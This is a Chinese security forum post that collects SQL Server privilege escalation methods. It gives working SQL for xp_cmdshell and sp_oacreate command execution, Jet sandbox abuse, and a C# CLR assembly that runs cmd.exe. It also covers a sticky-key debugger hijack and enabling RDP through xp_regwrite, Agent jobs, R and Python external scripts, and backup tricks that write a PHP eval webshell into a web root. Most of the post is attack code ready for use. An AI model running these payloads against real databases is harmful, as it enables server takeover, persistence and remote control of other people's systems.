安全矩阵

 找回密码
 立即注册
搜索
查看: 577|回复: 0

sql server提权总结

[复制链接]

180

主题

231

帖子

1174

积分

金牌会员

Rank: 6Rank: 6

积分
1174
发表于 2022-12-16 20:13:35 | 显示全部楼层 |阅读模式

sql server提权总结

1.sqlserver的角色及权限
sqlserver的角色分为两种:服务器角色和数据库角色
服务器角色: 服务器角色的拥有者只有登入名,服务器角色是固定的,用户无法创建服务器角色。
数据库角色: 数据库角色的拥有者可以是用户也可以是数据库角色本身,管理员可以创建数据库角色。
在sqlserver中有三种特殊的用户: (1)系统管理员(dba权限),对应服务器角色sysadmin,可以执行sqlserver的任何动作,包括数据库操作,文件管理,命令执行,注册表读取等,为sqlserver最高权限。(2)数据库所有者(dbo权限),对应数据库角色db_owner, 可以执行数据库中技术所有动作,包括文件管理,数据库操作等。(3)public角色是一种特殊的固定角色,数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
判断当前用户角色(权限): (1)判断是否是sysadmin(dba权限),执行select is_srvrolemember('sysadmin')
(2)判断是否是db_owner(dbo权限),执行select is_member('db_owner')
(3)判断是否是public(普通权限),执行select is_srvrolemember('public')/select is_member('public')

2.最新版sqlserver提权测试(sqlserver2019)
文章测试均在sqlserver2019+win server2019中操作。经过测试sqlserver 2019默认安装,使用dba权限执行whoami不是system权限,这是因为默认安装的sqlserver服务不是用系统账户启动的。


如果安装时或在服务中更改为本地系统账户,执行命令为system权限,可以创建用户提权。
3.xp_cmdshell(dba权限)
xp_cmdshell在低版本中默认开启,由于存在安全隐患,在sqlserver2005以后,xp_cmdshell默认关闭。利用xp_cmdshell执行系统命令
-- 判断xp_cmdshell是否存在,返回1证明存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'-- 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
-- 执行系统命令,sqlserver2019被降权为mssql权限
exec master..xp_cmdshell 'xxx'4.sp_oacreate+sp_oamethod(dba权限)
在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)。sp_oacreate 是一个存储过程,可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行系统命令。
-- 判断sp_oacreate是否存在,返回1证明存在sp_oacreate
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'-- 开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
-- 关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
-- 执行系统命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'C:\\Windows\\System32\\cmd.exe /c whoami'
直接执行命令成功后无回显。
-- 回显执行系统命令结果
declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;5.沙盒提权(dba权限)
沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动。局限:(1)Microsoft.jet.oledb.4.0一般在32位操作系统上才可以 (2)Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。
-- 开启Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
-- 关闭Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
-- 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 恢复默认沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2;沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启-- 查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'-- 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')6.CLR(dba权限)
Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等。
-- 开启CLR
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',1;RECONFIGURE;
-- 关闭CLR
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',0;RECONFIGURE;
-- 当导入了不安全的程序集之后,需将数据库标记为可信任的
ALTER DATABASE master SET TRUSTWORTHY ON;
做完上述准备之后需要编写一个CLR,首先在本地visual studio中创建一个 SQL Server数据库项目
然后,在项目中添加一个存储过程

写入以下代码,右键生成,会在vs的工作目录\项目名称\Database1\bin\Debug下生成四个文件
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void CmdExec (String cmd)
    {
        // Put your code here
        SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
    }

    public static string Command(string filename, string arguments)
    {
        var process = new Process();
        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }
        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();
            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }
            if (stdOutput.Length != 0)
            {
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}
之后需要将dll文件注册进sqlserver,这里有三种方法注册 (1)采用16进制的方式,无文件落地
CREATE ASSEMBLY sp_cmdExec
FROM 0x -- 这里写.sql文件里的
WITH PERMISSION_SET = UNSAFE
(2)将dll文件上传到目标机器上进行注册
CREATE ASSEMBLY sp_cmdExec
FROM 'C:\Users\Administrator\Desktop\Database1.dll' -- 这里写上传dll文件的路径
WITH PERMISSION_SET = UNSAFE
(3)通过 SSMS注册dll
注册完成后,创建存储过程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec-- 执行系统命令
EXEC sp_cmdExec 'whoami';
删除存储过程和程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;7.xp_regwrite映像劫持(dba权限)
xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用。利用前提sqlserver系统权限可以修改注册表。
-- 判断xp_rewrite是否存在,返回1证明存在xp_regwrite
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'-- 开启
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE
-- 关闭
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE
修改注册表来劫持粘滞键,将粘滞键修改为打开cmd 在sqlserver2019+winserver2019中测试,win defender和火绒均会拦截
-- 劫持注册表
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
-- 查看是否劫持成功
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表) 还可以修改注册表来开启3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;8.SQL Server Agent Job(dba权限)
SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。
-- 启动sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
利用任务计划命令执行,创建任务 test并执行命令,将结果写入1.txt
-- 执行命令
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/1.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
命令执行成功后没有回显,可以把1.txt写到表中,再查询表中内容获取命令回显。
-- 查看命令结果
Use model;
bulk insert readfile from 'C:\1.txt'
select * from readfile9.R和python(dbo/dba权限)
在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本。利用前提sqlserver系统权限可以执行外部脚本
-- 开启和关闭需要dba权限
-- 开启
EXEC sp_configure 'external scripts enabled',1;RECONFIGURE
-- 关闭
EXEC sp_configure 'external scripts enabled',0;RECONFIGURE
-- dbo和dba权限均可执行命令
-- 利用R执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
--利用python执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

10.差异备份写webshell(dbo权限)
dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell。利用前提,知道网站绝对路径且路径可写
-- 生成备份文件
backup database test to disk = 'C:\phpstudy_pro\WWW\1.bak';
-- 创建表并写入一句话木马
create table test([cmd][image]);
Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);
-- 将数据库进行差异备份
backup database test to disk='C:\phpstudy_pro\WWW\shell.php' WITH DIFFERENTIAL,FORMAT;

蚁剑直接连接生成的shell.php

dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell。
利用前提(1)知道网站绝对路径且路径可写(2)利用数据库必须存在备份文件
alter database test set RECOVERY FULL -- 将数据库修改为完整模式
create table cmd (a image) -- 新建表
backup log test to disk = 'c:\phpstudy_pro\www\2.bak' with init -- 备份表
insert into cmd (a) values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e) -- 将一句话木马写入表中
backup log test to disk = 'c:\phpstudy_pro\www\2.php' -- 备份操作日志到指定脚本文件
蚁剑直接连接生成的2.php
12.sp_oacreate+sp_oamethod写webshell(dba权限)
在sqlserver2019+win server2019中测试,win defender会报毒并删除一句话木马。
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\phpstudy_pro\www\1.php', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<?php @eval($_REQUEST["a"]);?>'13.不支持堆叠的情况下执行系统命令select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ''whoami''');14.参考
http://tttang.com/archive/1545/#toc_0x06-sp_oacreate-ole-automation-procedures https://blog.51cto.com/u_15127627/4024124

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 00:50 , Processed in 0.018283 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表